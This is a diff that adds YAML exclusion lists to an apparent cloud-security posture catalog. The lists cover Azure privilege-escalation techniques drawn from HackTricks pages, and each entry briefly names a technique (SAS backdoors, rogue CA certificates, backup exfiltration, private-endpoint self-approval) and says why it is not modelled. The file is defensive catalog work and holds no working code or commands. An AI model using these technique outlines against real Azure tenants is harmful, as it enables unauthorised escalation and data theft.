b/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_rbac_refresh_a.yaml new file mode 100644 index 0000000000..be8eb5c569 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_rbac_refresh_a.yaml @@ -0,0 +1,119 @@ +# Azure exclusions from the rev 171e422 catalog refresh (agent azA): guest-configuration through managed-grafana pages. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-guest-configuration-privesc.md#guest-configuration + technique: Page intro / service link + reason: Introductory section; the technique is modelled by azure-guestconfiguration-assignment-write. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-guest-configuration-privesc.md#guest-configuration-overview + technique: Guest Configuration overview + reason: Background section; the technique is modelled by azure-guestconfiguration-assignment-write. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-hdinsight-privesc.md#hdinsight + technique: Page intro / service link + reason: Introductory section. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-hdinsight-privesc.md#hdinsight-overview + technique: HDInsight overview + reason: 'HDInsight node/credential identity outcome NEEDS SCHEMA for exact execution and a newly allowed action.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-hdinsight-privesc.md#escalate-from-node-rce-to-storage--managed-identity + technique: Node RCE to storage keys and user-assigned identity + reason: Post-RCE step, not an independent permission combination; the cluster user-assigned identity it reaches is the target of the HDInsight code-execution entries (azure-hdinsight-execute-script-actions and siblings). Storage account keys in cluster configuration are data-plane credentials. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-image-builder-privesc.md#azure-vm-image-builder + technique: Page intro / service link + reason: Introductory section. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-image-builder-privesc.md#image-builder-overview + technique: Image Builder overview + reason: Background section; the existing-template path is modelled by azure-imagebuilder-template-hijack-existing. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-image-builder-privesc.md#staging-rg--build-vm-lateral-movement + technique: Staging resource group / build VM network line of sight + reason: Network pivot and staging-artifact tampering without a new identity for the source; the build-VM identity itself is reached by azure-imagebuilder-template-hijack-existing. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-image-builder-privesc.md#pivot-to-raw-compute + technique: Pivot to VM / scale set / gallery abuses + reason: Cross-reference to the VM page; the downstream techniques are catalogued in virtual_machines.yaml. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-iot-hub-privesc.md#iot-hub + technique: Page intro / service link + reason: Introductory section. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-iot-hub-privesc.md#hub-property-abuse-with-microsoftdevicesiothubswrite + technique: iotHubs/write (SAS policy backdoor, routes, storage endpoint, auth rollback, identity attach) + reason: Persistence, telemetry exfiltration and data-plane credentials over IoT device identities, which are not Azure/Entra principals. An identity attached to the hub is only used by the service for routing/egress; no code runs as it, so its token is never obtained by the source (confused-deputy egress only). +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-iot-hub-post-exploitation.md#covert-built-in-events-consumer-group-with-eventhubendpointsconsumergroupswrite + source_revision: 5c5783913ab52876e208ac45b94ec4c876a6a7db + technique: Covert consumer group on the built-in events endpoint + reason: Telemetry read and persistence; no new identity. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-iot-hub-privesc.md#rogue-x509-ca-for-device-auth-with-iothubscertificateswrite-and-the-dps-equivalent + technique: Rogue X.509 CA for device authentication (IoT Hub / DPS) + reason: "NEEDS SCHEMA: Exact device identity trusted under the CA and newly permitted authentication action must be verified." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md#key-vault + technique: Page intro / service link + reason: Introductory section. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md#enable-the-deployment-path-with-microsoftkeyvaultvaultswrite + technique: vaults/write enables enabledForTemplateDeployment + reason: Enabler of the template-deployment path; vaults/write is already a requirement branch of azure-keyvault-secret-read-sp-credentials (it can rewrite accessPolicies directly), and enabledForTemplateDeployment is the condition of azure-keyvault-template-deployment-secret-reference. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md#swap-the-authorization-model-with-microsoftkeyvaultvaultswrite-enablerbacauthorization-toggle + technique: vaults/write toggles enableRbacAuthorization to revive stored access policies + reason: Same permission and target set as the vaults/write branch of azure-keyvault-secret-read-sp-credentials (switching to the access-policy model and rewriting accessPolicies); the toggle-to-RBAC direction is denial of service. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md#approve-an-attacker-private-endpoint-to-reach-a-publicnetworkaccessdisabled-vault + technique: Approve an attacker private endpoint connection + reason: Network reachability only; condition network_reachable of the Key Vault entries. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-kubernetes-privesc.md#azure-kubernetes-service + technique: Page intro / service link + reason: Introductory section. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-kubernetes-privesc.md#external-oidc-authentication-on-aks + technique: AKS structured authentication with an external OIDC issuer (preview) + reason: Preview feature; becomes a pivot only when the mapped aks:jwt identity holds Kubernetes RBAC, and neither the authenticator configuration nor its write permission is collected. Not modelled until JWT authenticator facts exist. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-load-testing-privesc.md#azure-load-testing + technique: Page intro / service link + reason: Introductory section. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-load-testing-privesc.md#load-testing-overview + technique: Load Testing overview + reason: Background section; modelled by azure-loadtesting-test-engine-identity. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-load-testing-privesc.md#key-vault-secret--certificate-reference-abuse + technique: Test secret/certificate references resolved by the reference identity + reason: Partial gain (Key Vault secret reads of the KeyVault reference identity) using the same data actions as azure-loadtesting-test-engine-identity, which already reaches every identity attached to the load test resource. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-log-analytics-privesc.md#attach-an-automation-account-via-workspaceslinkedserviceswrite + technique: workspaces/linkedServices/write links an Automation account + reason: Code execution depends on legacy agent-based Update Management / Change Tracking onboarding (retired with the Log Analytics agent) and on an Automation account the source already controls; no new identity from the link itself. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md#logic-apps + technique: Page intro / service link + reason: Introductory section. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md#microsoftlogicintegrationaccountsagreementslistsecretsaction--steal-b2bedi-authentication-secrets + technique: Integration account agreement secrets + reason: B2B/EDI partner secrets; data read, no Azure/Entra identity. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md#microsoftlogicintegrationaccountsregenerateaccesskeyaction--rotate-the-artifact-signing-key-dos--fresh-signing-secret + technique: Regenerate integration account access key + reason: Denial of service and signing material for artifact callback URLs; no new identity. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md#microsoftlogicworkflowsread-microsoftlogicworkflowswrite--microsoftmanagedidentityuserassignedidentitiesassignaction + technique: Attach a user-assigned identity to an existing workflow + reason: Same permission combination and target set as azure-logicapp-assign-user-assigned-identity (pivot may be the existing workflow). +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md#microsoftwebsiteshostlistkeysaction-microsoftwebsiteshostruntime---standard-logic-app-host-key-theft--anonymous-workflow-invoke + technique: Standard Logic App host keys / hostruntime callback URL + reason: Standard Logic Apps are Microsoft.Web/sites; the master-key path is modelled by azure-functions-host-listkeys-master-key. Invoking existing workflows only runs their fixed definition (confused deputy), like the excluded listCallbackUrl actions. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md#microsoftwebsitesconfigwrite---rce-via-app-settings--environment-variables-standard-logic-apps + technique: sites/config/write on a Standard Logic App + reason: Standard Logic Apps are Microsoft.Web/sites; modelled by azure-appservice-config-write. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-machine-learning-privesc.md#azure-machine-learning + technique: Azure Machine Learning service introduction + reason: Introductory section; techniques are mapped by their own headings. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-machine-learning-privesc.md#azure-ml-overview + technique: Azure ML attack-surface overview + reason: Overview only; the compute, datastore and endpoint techniques are mapped individually. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-machine-learning-privesc.md#datastore-secret-theft + technique: datastores/listSecrets credential theft + reason: Covered by azure-ml-connection-secrets, which includes datastores/listSecrets/action and connections/listsecrets/action and targets service principals whose credentials are stored in the workspace; account-key/SAS datastores are data access only. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-machine-learning-privesc.md#online--batch--serverless-endpoint-key-theft--malicious-deployment + technique: Endpoint key theft and malicious deployment + reason: Scoring keys/tokens only invoke the model (no identity). Malicious deployment as the endpoint identity is modelled by azure-ml-online-deployment-existing-endpoint and azure-ml-online-endpoint-create-with-user-assigned-identity. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-managed-applications-privesc.md#managed-applications + technique: Managed Applications introduction + reason: Introductory section. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-managed-applications-privesc.md#managed-applications-overview + technique: Managed Applications overview + reason: Overview of publisher authorizations and deny assignments; the escalation is mapped under listTokens. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-managed-applications-privesc.md#deploy-as-identity-inside-a-managed-app + technique: Deploy a malicious managed app definition + reason: The deployment only acts inside a newly created managed resource group, with authorizations the attacker defines for itself; it does not reach pre-existing identities. Cross-tenant delegatedManagedIdentityResourceId grants need publisher-tenant setup. Persistence, not escalation. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-managed-devops-pools-privesc.md#managed-devops-pools + technique: Managed DevOps Pools introduction + reason: Introductory section. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-managed-grafana-privesc.md#azure-managed-grafana + technique: Managed Grafana introduction + reason: Introductory section. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-managed-grafana-privesc.md#microsoftdashboardgrafanamanagedprivateendpointswrite--network-pivot-into-a-private-vnet + technique: Grafana managed private endpoint + reason: Network reachability only; no identity gain. diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_rbac_refresh_b.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_rbac_refresh_b.yaml new file mode 100644 index 0000000000..a785d30667 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_rbac_refresh_b.yaml @@ -0,0 +1,167 @@ +# Azure HackTricks techniques reviewed in the catalog refresh (group B) and intentionally NOT modelled as +# principal -> principal privilege-escalation edges. Source rev 171e422. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-maps-privesc.md#azure-maps + technique: Azure Maps introduction + reason: Introductory section. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-maps-privesc.md#microsoftmapsaccountsregeneratekeyaction + technique: Maps regenerateKey + reason: Rotates and returns the Maps shared key (data-plane credential, no identity); also DoS. Same as the excluded listKeys. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-monitor-privesc.md#azure-monitor + technique: Azure Monitor introduction + reason: Introductory section. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-monitor-privesc.md#microsoftinsightsmetricalertswrite--linked-reads + technique: Metric alert pointed at an automation action group + reason: "NEEDS SCHEMA: Exact action-group receiver, controllable invocation, named automation principal, and newly authorized action must be verified; firing fixed logic alone is terminal." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-monitor-privesc.md#microsoftinsightsscheduledqueryruleswrite--the-same-trick-with-a-kql-alert + technique: Scheduled query alert pointed at an automation action group + reason: "NEEDS SCHEMA: Exact action-group receiver, controllable invocation, named automation principal, and newly authorized action must be verified; firing fixed logic alone is terminal." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-mysql-privesc.md#mysql-databases + technique: MySQL introduction + reason: Introductory section. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-mysql-privesc.md#microsoftdbformysqlflexibleserversprivateendpointconnectionswrite--self-approve-a-private-endpoint + technique: Self-approve a MySQL private endpoint + reason: Network path only; data-plane access still needs the password-reset/Entra-admin entries. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-notification-hubs-privesc.md#notification-hubs + technique: Notification Hubs introduction + reason: Introductory section. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-notification-hubs-privesc.md#pns-credential-takeover-with-namespacesnotificationhubswrite + technique: Overwrite hub PNS credentials + reason: "NEEDS SCHEMA: Exact PNS service identity and newly authorized action after credential replacement must be verified." +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-notification-hubs-post-exploitation.md#key-less-push-with-notificationhubsdebugsendaction + source_revision: 5c5783913ab52876e208ac45b94ec4c876a6a7db + technique: debugSend push without SAS + reason: Sends push notifications to devices; no identity gain. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-notification-hubs-privesc.md#web-push-key-theft-with-notificationhubsvapidkeysread + technique: VAPID key theft + reason: "NEEDS SCHEMA: Exact Web Push signing identity, usable key, and newly permitted push action must be verified." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-policy-privesc.md#azure-policy + technique: Azure Policy introduction + reason: Introductory section. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-policy-privesc.md#the-dine--modify-remediation-identity-primitive + technique: New DINE/modify assignment with a privileged system-assigned identity + reason: Requires roleAssignments/write at the scope to grant the new identity its role, which is already modelled by azure-authorization-roleassignments-write. The user-assigned-identity and definition-rewrite variants are modelled by azure-policy-assignment-write-user-assigned-identity and azure-policy-definition-write-remediation-identity. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-policy-privesc.md#hijack-an-existing-remediation-identity + technique: Retarget or re-remediate an existing privileged policy assignment + reason: 'Definition-rewrite branch NEEDS SCHEMA for exact assignment/MI join and observed remediation.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-policy-privesc.md#turning-off-guardrails-is-itself-an-escalation-enabler + technique: Weaken Deny policies / add exemptions + reason: Defense evasion that unblocks other techniques; grants no identity by itself. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-postgresql-privesc.md#postgresql-databases + technique: PostgreSQL introduction + reason: Introductory section. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-postgresql-privesc.md#microsoftdbforpostgresqlflexibleserversstartltrbackupaction--long-term-retention-backup-exfil-to-attacker-storage-no-db-creds + technique: LTR backup to attacker SAS + reason: Data exfiltration; no identity gain. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-postgresql-privesc.md#microsoftdbforpostgresqlflexibleserversmigrationswrite--outbound-connectivity--ssrf-style-reachability-oracle + technique: Migration validate reachability oracle + reason: Network reconnaissance; no identity gain. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-postgresql-privesc.md#microsoftdbforpostgresqlflexibleserversprivateendpointconnectionswrite--self-approve-a-private-endpoint + technique: Self-approve a PostgreSQL private endpoint + reason: Network path only; data-plane access still needs the password-reset/Entra-admin entries. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-purview-privesc.md#purview + technique: Purview introduction + reason: Introductory section. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-purview-privesc.md#microsoftpurviewpolicyelementswrite--purview-access-policies-into-governed-sqlstorage + technique: Purview access policies into governed sources + reason: Data action not granted by any built-in ARM role; it comes from the Purview data-plane Policy Author role, which a root collection admin can self-assign (see azure-purview-add-root-collection-admin). Access policies grant data access on registered SQL/Storage sources, not another identity's privileges. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-purview-privesc.md#microsoftpurviewaccountskafkaconfigurationswrite--metadata-exfil--lineage-spoof + technique: Kafka/Event Hubs notification rewiring + reason: Metadata exfiltration / lineage spoofing; no identity gain. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-purview-privesc.md#microsoftpurviewaccountswrite--network-open--confused-deputy-identity-swap + technique: Purview account write (network/identity swap) + reason: Opening public network access grants no identity. Attaching a user-assigned identity the attacker already controls gives the attacker nothing new, and data-source grants made to the account's previous identity do not transfer; any other change only steers fixed Purview scan logic (confused deputy). +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-quantum-privesc.md#azure-quantum + technique: Azure Quantum introduction + reason: Introductory section. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-redis-privesc.md#azure-cache-for-redis + technique: Azure Cache for Redis introduction + reason: Introductory section. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-redis-privesc.md#azure-managed-redis-database-keys + technique: Managed Redis (redisEnterprise) database listKeys / regenerateKey + reason: "NEEDS SCHEMA: bind the list/rotated database key to the exact Managed Redis database/default user, enabled key auth, successful authentication, and newly effective commands." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-relay-privesc.md#azure-relay + technique: Azure Relay introduction + reason: Introductory section. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-relay-privesc.md#entra-rbac-relay-access-with-sendlisten-data-actions-bypasses-sas-key-disclosure + technique: Relay send/listen data actions with an Entra token + reason: Send/listen on a hybrid connection or WCF relay is data-plane traffic and network-boundary reachability into the fronted service; no new Azure/Entra identity. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-sentinel-privesc.md#sentinel + technique: Sentinel introduction + reason: Introductory section. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-sentinel-privesc.md#automation-rule--playbook--managed-identity + technique: Edit a playbook Logic App and fire it through an automation rule + reason: The identity gain comes from Microsoft.Logic/workflows/write on the playbook, already modelled by azure-logicapp-workflow-write-existing-identity; the automation rule only supplies a run path (its run_path condition). +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-sentinel-privesc.md#microsoftsecurityinsights-write--workspace-access + technique: Manually trigger a privileged playbook + reason: Runs the playbook's existing, unmodified logic; confused-deputy invocation of fixed logic, not attacker-chosen execution as its identity. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-sentinel-post-exploitation.md#kql-over-sensitive-tables + source_revision: 5c5783913ab52876e208ac45b94ec4c876a6a7db + technique: KQL hunting for secrets in ingested logs + reason: Data read; any harvested secret is content-dependent and not derivable from RBAC. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-service-fabric-privesc.md#service-fabric + technique: Service Fabric introduction + reason: Introductory section. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-service-fabric-privesc.md#service-fabric-overview + technique: Service Fabric overview + reason: Background section; techniques are modelled in azure/service_fabric.yaml. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md#service-bus + technique: Service Bus introduction + reason: Introductory section. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md#receive-with-keys-microsoftservicebusnamespacesqueuestopicsauthorizationruleslistkeysaction-or-microsoftservicebusnamespacesqueuestopicsauthorizationrulesregeneratekeysaction + technique: Receive messages with authorization-rule keys + reason: Message data read with a SAS data-plane credential; no Azure/Entra identity. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md#receive-messages-dataactions-microsoftservicebusnamespacesmessagesreceiveaction + technique: Receive messages via data action + reason: Message data read; no new identity. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-signalr-web-pubsub-privesc.md#signalr-and-web-pubsub + technique: SignalR and Web PubSub introduction + reason: Introductory section. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-signalr-web-pubsub-privesc.md#untargeted-broadcastgroupuser-injection + technique: Broadcast / group / user message injection + reason: Data-plane message injection to clients; no Azure/Entra identity. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-signalr-web-pubsub-privesc.md#microsoftsignalrservicesignalrserverconnectionwrite---impersonate-the-hub-application-server + technique: Server connection as the hub application server + reason: 'NEEDS SCHEMA: serverConnection/write can impersonate a SignalR hub server, but the catalog lacks an exact server identity, newly authorized hub operation, and prior-absence proof; message injection alone is a data-plane action.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-signalr-web-pubsub-privesc.md#microsoftsignalrservicewebpubsubauthaccesskeyaction---web-pubsub-temporary-signing-material + technique: Web PubSub temporary signing material + reason: 'NEEDS SCHEMA: signing material can mint Web PubSub client tokens with bounded roles, but the exact client subject, token scope, usable credential, and newly permitted operation are not verified.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-signalr-web-pubsub-privesc.md#live-trace-eavesdropping-with-signalrlivetraceread + technique: Live trace eavesdropping + reason: Read-only connection and traffic metadata disclosure. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-speech-services-post-exploitation.md#azure-ai-speech + source_revision: 5c5783913ab52876e208ac45b94ec4c876a6a7db + technique: Azure AI Speech introduction + reason: Introductory section. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-spring-apps-privesc.md#azure-spring-apps + technique: Azure Spring Apps introduction + reason: Introductory section. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-spring-apps-privesc.md#spring-apps-overview + technique: Spring Apps overview + reason: Background section; techniques are modelled in azure/spring_apps.yaml. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-spring-apps-privesc.md#rce-via-jvmoptions--environment-variables-settings-only-no-artifact-upload + technique: Code execution through deployment JVM options / environment variables + reason: Same requirement (apps/deployments/write) and same app identities as azure-springapps-deployment-write-app-identity, whose code_source condition includes this settings-only path. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-spring-apps-privesc.md#listtestkeys--public-test-endpoints + technique: listTestKeys public test endpoints + reason: Unauthenticated HTTP reach to apps and possible secret disclosure through exposed actuator routes; content-dependent, no Azure/Entra identity derivable from RBAC. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-spring-apps-privesc.md#microsoftappplatformspringregeneratetestkeyaction + technique: regenerateTestKey + reason: Same test-endpoint key as listTestKeys (returned on rotation) plus DoS; no Azure/Entra identity. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-spring-apps-privesc.md#microsoftappplatformspringapmslistsecretkeysaction + technique: APM integration secret keys + reason: Telemetry-backend credentials (Application Insights connection string or third-party APM keys); data access, no Azure/Entra identity. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-spring-apps-privesc.md#config-server--bindings--secret-exposure + technique: Config server repoint / bindings / environment secrets + reason: Configuration poisoning and secret disclosure whose result depends on application behaviour and secret contents; no code runs as the app identity through these actions alone and nothing is derivable from RBAC. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-spring-apps-privesc.md#custom-container--build-service-supply-chain + technique: Custom container deploy / build-service tampering + reason: Custom container deployment is a code_source of azure-springapps-deployment-write-app-identity. Enterprise builder / buildpack-binding tampering only affects future builds of other apps (timing- and pipeline-dependent supply chain), not modelled. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md#sql + technique: SQL introduction + reason: Introductory section. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md#data-plane-escalation-azure-sql-fixed-server-roles-impersonate-db_owner + technique: T-SQL role escalation (fixed server roles, IMPERSONATE, db_owner) + reason: 'NEEDS SCHEMA: T-SQL IMPERSONATE and role grants can create exact SQL principal or permission gains, but the catalog lacks the source SQL login, target login or role, and effective before/after permissions.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md#microsoftsqlserversvirtualnetworkruleswrite--microsoftsqlserversoutboundfirewallruleswrite + technique: SQL VNet rules / outbound firewall rules + reason: Network reachability and exfiltration enablement; no identity gain (network_reachable condition of the SQL admin entries). diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_rbac_refresh_c.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_rbac_refresh_c.yaml new file mode 100644 index 0000000000..a187bef5bb --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_rbac_refresh_c.yaml @@ -0,0 +1,97 @@ +# azC refresh against hacktricks-cloud 171e422: techniques reviewed and intentionally NOT modelled +# as principal -> principal privilege-escalation edges. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md#az-static-web-apps + technique: "Az Static Web Apps" + reason: "Introductory section." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md#storage-accounts--blobs + technique: "Storage Accounts & Blobs" + reason: "Introductory section." +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-stream-analytics-post-exploitation.md#stream-analytics + source_revision: 5c5783913ab52876e208ac45b94ec4c876a6a7db + technique: "Stream Analytics" + reason: "Introductory section." +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-stream-analytics-post-exploitation.md#full-job-rewrite--managed-identity-attach-with-streamingjobswrite + source_revision: 5c5783913ab52876e208ac45b94ec4c876a6a7db + technique: "Full-job rewrite and managed-identity attach with streamingjobs/Write" + reason: "Confused-deputy use of the job identity: Stream Analytics queries and outputs only read and write data through configured connectors, with no token disclosure or attacker-chosen code execution. Data access only." +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-stream-analytics-post-exploitation.md#msi-backed-confused-deputy-source-read-with-inputswrite + source_revision: 5c5783913ab52876e208ac45b94ec4c876a6a7db + technique: "MSI-backed confused-deputy source read with inputs/Write" + reason: "Confused-deputy data read through the job's managed identity; no identity or token is gained." +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-stream-analytics-post-exploitation.md#azure-ml-udf-endpoint-repoint-with-functionswrite + source_revision: 5c5783913ab52876e208ac45b94ec4c876a6a7db + technique: "Azure ML UDF endpoint repoint with functions/Write" + reason: "Data exfiltration and request relay to an attacker endpoint; JavaScript and C# UDFs are sandboxed and expose no identity token." +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-stream-analytics-post-exploitation.md#job-less-egress--credential-validation-proxy-with-locationssampleinputaction + source_revision: 5c5783913ab52876e208ac45b94ec4c876a6a7db + technique: "Job-less egress / credential-validation proxy with locations/SampleInput/action" + reason: "Service-side proxy using credentials the caller supplies; no new identity." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-synapse-privesc.md#azure-synapse-analytics + technique: "Azure Synapse Analytics" + reason: "Introductory section." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-synapse-privesc.md#open-the-workspace-firewall-to-reach-sql--dev-endpoints + technique: "Open the workspace firewall to reach SQL / dev endpoints" + reason: "Network reachability only; no new identity." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-synapse-privesc.md#grant-the-workspace-msi-sql-control-with-managedidentitysqlcontrolsettingswrite + technique: "Grant the workspace MSI SQL control with managedIdentitySqlControlSettings/write" + reason: "Enabler only: grants the workspace identity SQL control, which the source can use only through a separate execution primitive as that identity (see azure-synapse-bigdatapools-write-spark-poisoning)." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-synapse-privesc.md#git-repo-poisoning-via-workspaceswrite + technique: "Git-repo poisoning via workspaces/write" + reason: "Supply-chain change that needs another principal to publish or run the poisoned artifacts; not derivable." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-video-indexer-privesc.md#azure-ai-video-indexer + technique: "Azure AI Video Indexer" + reason: "Introductory section." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-video-indexer-privesc.md#restricted-viewer-access-token--private-insights + technique: "Restricted-viewer access token - private insights" + reason: "NEEDS SCHEMA: Exact Video Indexer token subject/role and newly permitted insight action must be verified." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-video-indexer-privesc.md#permission-boundary + technique: "Permission boundary" + reason: "Background section." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-video-indexer-privesc.md#arc-extension-token-operations + technique: "Arc extension token operations" + reason: "NEEDS SCHEMA: Exact Arc extension token subject/role and newly permitted action must be verified." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-desktop-privesc.md#virtual-desktop + technique: "Virtual Desktop" + reason: "Introductory section." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md#virtual-machines--network + technique: "Virtual Machines & Network" + reason: "Introductory section." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md#microsoftcomputevirtualmachinesloginasadminaction + technique: "Microsoft.Compute/virtualMachines/loginAsAdmin/action" + reason: "Covered by azure-vm-entra-login." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md#microsoftcomputevirtualmachinesread-microsoftcomputevirtualmachineswrite-microsoftcomputevirtualmachinesextensionsread-microsoftcomputevirtualmachinesextensionswrite + technique: "VMAccess password reset (virtualMachines read/write + extensions read/write)" + reason: "Covered by azure-vm-extensions-write." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md#point-to-site-vpn-root-certificate-injection-durable-vnet-access + technique: "Point-to-Site VPN root-certificate injection" + reason: "Network access and persistence only; no new identity." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-vm-code-execution-privesc.md#virtual-machines + technique: "Virtual Machines" + reason: "Introductory section." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-vm-code-execution-privesc.md#vm-extensions + technique: "VM Extensions" + reason: "Covered by azure-vm-extensions-write." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-vm-code-execution-privesc.md#relevant-vm-extensions + technique: "Relevant VM extensions" + reason: "Covered by azure-vm-extensions-write." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-vm-code-execution-privesc.md#vm-applications + technique: "VM Applications" + reason: "Covered by azure-vm-gallery-application-install." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-vm-code-execution-privesc.md#user-data + technique: "User 